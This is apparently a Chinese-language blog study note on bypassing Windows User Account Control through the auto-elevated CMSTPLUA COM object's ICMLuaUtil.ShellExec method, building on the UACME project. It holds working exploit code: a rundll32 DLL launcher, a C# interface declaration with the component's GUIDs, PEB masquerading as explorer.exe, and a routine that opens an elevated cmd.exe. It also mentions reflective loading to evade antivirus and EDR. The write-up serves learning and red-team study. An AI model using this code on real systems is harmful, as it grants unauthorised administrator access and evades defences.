之前看红队学院中关于BypassUAC的视频,跟着做了一遍,掌握了大体方法。但其中涉及到代码部分,自己还需要加强学习才行。

0x01 前言

等着别人做好后来投喂,不如我们自己去捕猎,去挖掘过UAC的方法。本文记录的是通过COM组件的方法BypassUAC过程,这是一个方法论修炼的记录,掌握其原理,我们就可以去创造属于我们自己的独家BypassUAC方法。

0x02 基础介绍

在正式开始之前,我们需要对UAC的工作原理有一些简单了解。

UAC是微软Microsoft Windows Vista以后版本引入的一种安全机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。
下图清晰描述了如何根据是否启用UAC以及应用程序是否具有UAC清单来运行应用

在开启了UAC之后,如果用户是标准用户, Windows 会给用户分配一个标准Access Token.
如果用户以管理员权限登陆,会生成两份访问令牌,一份是完整的管理员访问令牌(Full Access Token),一份是标准用户令牌
具体的表现形式是如下图,当我们需要其他特权的时候,会弹出窗口,询问你是否要允许以下程序对此计算机更改?如果你有完整的访问令牌(即,你以设备管理员的身份登录,或者你属于管理员组),则可以选择,然后继续进行。但是,如果已为你分配了标准的用户访问令牌,则会提示你输入具有特权的管理员的凭据

这里梳理一下UAC需要授权的过程如下:

  • 1.配置Window Update
  • 2.增加或删除用户账户
  • 3.改变用户的账户类型
  • 4.改变UAC设置
  • 5.安装ActiveX
  • 6.安装或移除程序
  • 8.设置家长控制
  • 9.将文件移动或复制到Prigram Files或Windwos目录
  • 10.查看其他用户文件夹

0x03 BypassUAC

本篇主要介绍如何以ICMLuaUtil方式BypassUAC,主要内容如下:

  • 过掉UAC提示框的方法总结

  • UACME项目

  • 什么类型的COM interface可以利用?

  • 如何快速找到系统中的所有可利用的COM组件?

  • 定位ICMLuaUtil的虚函数表vftable

  • 如何调用ICMLuaUtil.ShellExec执行命令?

    C++ version

    CSharp version

  • 两个注意点

0x04 UACME项目

1
项目地址:https://github.com/hfiref0x/UACME

项目总结了50多种绕过UAC的方式,并且列出具备auto-elevate能力的UAC白名单程序或接口。

利用方式主要可以分为两大类:

1、各类UAC白名单程序的DLL劫持(Dll Hijack

2、各类提升权限的COM接口利用(Elevated COM interface

项目的主程序为Akagi,其中包含了所有的method,使用vs2019本地编译后可以使用akagi32 41或者akagi64 41启动程序,41这个指的是README中描述的方法索引,运行后可以直接得到管理员权限的cmd窗口。

项目的Source目录存储的是所有子项目的源码,其中Source/Shared存放的是被所有子项目共同引用的一些函数,本篇主要利用AkagiYuubari这两个项目来学习一下如何利用COM接口提升权限

0x05 可被利用的

以列表中的41为例:

1
2
3
4
5
6
7
8
9

Author: Oddvar Moe
Type: Elevated COM interface
Method: ICMLuaUtil
Target(s): Attacker defined
Component(s): Attacker defined
Implementation: ucmCMLuaUtilShellExecMethod
Works from: Windows 7 (7600)
Fixed in

这个方法的目标接口是,ICMLuaUtil,对应Akagi项目中具体实现函数为ucmCMLuaUtilShellExecMethod,在项目中的methods/api0cradle.c文件中可以找到该方法的定义:

观察发现这里利用的是CMSTPLUA组件的ICMLuaUtil接口
以管理员权限打开,在Registry中打开CLSIDs,然后输入cmstplua搜索,即可快速定位到该组件

右键可以查看cmstplua组件的Elevation的一个属性,这里的EnabledAuto Approval现实的都为True,表示这个组件可以用来绕过UAC认证,这是第一点

如果需要达到成功利用的条件,那么第二点,目标接口ICMLuaUti,需要一个可以执行命令的地方,我们可以把鼠标放在ICMLuaUtil上可以看到接口对应的二进制文件为cmlua.dll

虚函数偏移为cmlua.dll+0x6360,在这个时候我们通过IDA打开系统文件,c:\windows\system32\cmlua.dll,跳到虚函数表的位置,可以看到ICMLuaUtil接口的虚函数表

最后我们确定一下,通过双击看它的反汇编代码,就可以看到一个关键的call调用,在IDA中看到ShellExec这个函数调用了ShellExecuteExW这个Windows API实现了命令执行

通过上面的操作分析,要实现BypassUAC执行命令的COM组件,我们可以总结为两点

  1. Elevation属性中的EnabledAuto ApprovalTrue
  2. COM组件中的接口存在可以执行命令,如ICMLuaUtil的ShellExec

0x06 寻找可利用的COM组件

接下来我们需要快读的寻找到具备这两点的COM组件,那么怎么去找呢?一种方法是使用上面的oleviewdotnet,一个一个的去看,非常麻烦和不高效。

最好的方式其实是通过编程实现对你当前机器所有的COM组件进行搜索,然后去找这个相应属性,目前已经有这样的轮子了,我们可以直接用。

这里可以通过UACMe项目提供的Yuubari工具快速查看系统UAC设定信息以及所有可以利用的程序和COM组件,使用方法如下:

使用VS2019加载Yuubari,注意:一定要把Debug模式切换成release模式,生成后会得到二进制文件UacInfo64.exe,运行后在同目录生成一个log文件记录所有输出结果:

从这里面可以找到所有的Autoelevated COM objects,包括CMSTPLUA组件的信息:

这里使用之前提到的cmstplua进行搜索3e5fc7f9-9a51-4367-9063-a120244fbec7可以看到Autoelevated COM objects 组件CMSTPLUA的信息。通过这种方式,我们可以把当前系统所有支持auto-elevateCOM组件以及应用全部都列出来

0x07 调用ICMLuaUtil.ShellExec执行命令

当我们找到合适的可以利用的COM组件后,下一步就是写代码。我们利用的关键点是创建这个COM组件的进程是需要被系统可信任的进程。

利用系统的可信进程去进行调用,可以选择的有rundll32.exeexplorer.exe等,我们只需要把创建COM组件的代码以及执行你想执行的命令的代码,放到可信任进程里面去执行,这样就可以BypassUAC

放到可信任进程里面去执行有两种方式,第一种是我们把它做成一个dll,然后使用rundll32.exe去调用

0x08 DLL调用

直接使用UACME中的代码摘出来,然后在VC2019中新建一个工程,如下是定义接口的声明

就在这里面通过创建COM组件,然后调用这个COM组件的ShellExec方法执行你想执行的命令,通过这样的方式就可以了。

在代码编写好后,首先在导出的函数为BypassUAC,新建一个def文件,内容如下

1
2
3
4

LIBRARY BypassUAC
EXPORTS
BypassUAC

这里重新生成一下,可以看到在 C:\Users\admin\Desktop\BypassUAC\x64\Release\目录下生成了一个BypassUAC_Dll.dll

最后我们使用rundll32.exe去运行一下,直接就弹出了管理员的cmd来,原因就是使用rundll32.exe运行的,rundll32.exe是被系统认可的可信进程,所以拿他去运行就可以直接执行

1
rundll32.exe .\BypassUAC_Dll.dll,BypassUAC

这是一种利用方法,但是这种利用方式,在实际的渗透测试中用到的会比较少,首先这个dll会落地,然后再用rundll32.exe去调用实际效果不太好,所以我们需要把它编译成直接在内存加载的dll。

直接在内存加载,有如下几种方式,第一种,如果是用c或C++类似这种编译型的语言编译出来的dll,这种编译出来的dll是属于native dllm,native dll在内存中加载执行通用的方法是 Reflective Dll Injection RDI 去执行它。类似的还有dll to shellcode exe to shellcode但是这类方法现在很多杀软跟EDR都被标注了。

这个时候我们可以选择其他的方式,比如说脚本python、ironpython,现在有技术直接通过内存执行python脚本一个杰出的工程就是pupy

0x09 CSharp version

更好的方式直接做成.net版本

1
代码摘自Moriarty:https://github.com/cnsimo/BypassUAC/tree/master/BypassUAC_csharp

C#版本的代码中要注意的是ICMLuaUtil接口的定义,其继承自IUnKnown,该接口的定义函数是

1
2
3
4

IUnknown::AddRef
IUnknown::QueryInterface
IUnknown::QueryInterface

在定义ICMLuaUtil的 时候,需要注意的有两点

1、 指明继承ICMLuaUtil接口;

2、 继承的前三个函数不需要加上,C#会自动添加;

其继承自IUnKnown,因此这里一定要写成InterfaceIsIUnknown

关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface ILua
{
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method1();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method2();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method3();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method4();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method5();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method6();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
HRESULT ShellExec(
[In, MarshalAs(UnmanagedType.LPWStr)] string file,
[In, MarshalAs(UnmanagedType.LPWStr)] string paramaters,
[In, MarshalAs(UnmanagedType.LPWStr)] string directory,
[In] uint fMask,
[In] uint nShow);
}

有个这个接口声明之后,编程怎么实现,不可能再去创建一个rundll32.exe进程什么的去执行。这里就要引出另一个技术,叫MasqueradePEB,翻译过来就是伪装。
将自己的进程信息伪装成为c:\windows\explorer.exe这个系统的可信进程,这样才能绕过UAC认证窗口,因为UAC在判断系统进程是否可信,判断依据是PEB结构,所以在使用COM组件提权之前需要先伪装一下进程才可以。

1
2
McfInitUnicodeString(procHandle, BaseDllNamePtr, "explorer.exe");
McfInitUnicodeString(procHandle, FullDllNamePtr, $"{System.Environment.GetEnvironmentVariable("SystemRoot").ToLower()}\\explorer.exe");

接下来我们做一下演示,我们的关键代码是调用MasqueradePEB,第一次先注释掉,然后右键生成文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[STAThread]
static void Main(string[] args)
{
Guid classId = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
Guid interfaceId = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");

//MasqueradePEB();

object elvObject = LaunchElevatedCOMObject(classId, interfaceId);
if (elvObject != null)
{
//MessageBox.Show("Got the Object");
ILua ihw = (ILua)elvObject;
ihw.ShellExec("c:\\windows\\system32\\cmd.exe", null, null, 0, 5);
Marshal.ReleaseComObject(elvObject);

运行生成的文件,这个时候会弹出UAC框,因为它不是可信进程,所以运行的时候UAC还是没有过掉,这就是没有MasqueradePEB效果是这样的

接下来先用MasqueradePEB进行伪装一下,再次右键生成文件

直接点击生成,就可以直接弹出管理员的cmd窗口,这就是直接BypassUAC的效果

其原因,第一,选择的这个COM组件对象它是一个正常的,系认可的COM组件,第二,修改PEB,相当于我修改自己的进程,杀软是不会阻止的。

0x10 总结

过了一遍,由于没有c、c++编程基础,导致视频看了三四遍才理解了个大体。并且代码都是来自Moriarty,写的更详细更明白的是goto:REinject,其文章放在参考链接中了。算是一个学习记录,有很多的不足,希望自己努力学习。如果要做的深入,连这些基本的都不扎实,是不行的。

参考链接

https://www.cnblogs.com/lxmwb/p/12732976.html

红队学院第一期第一个视频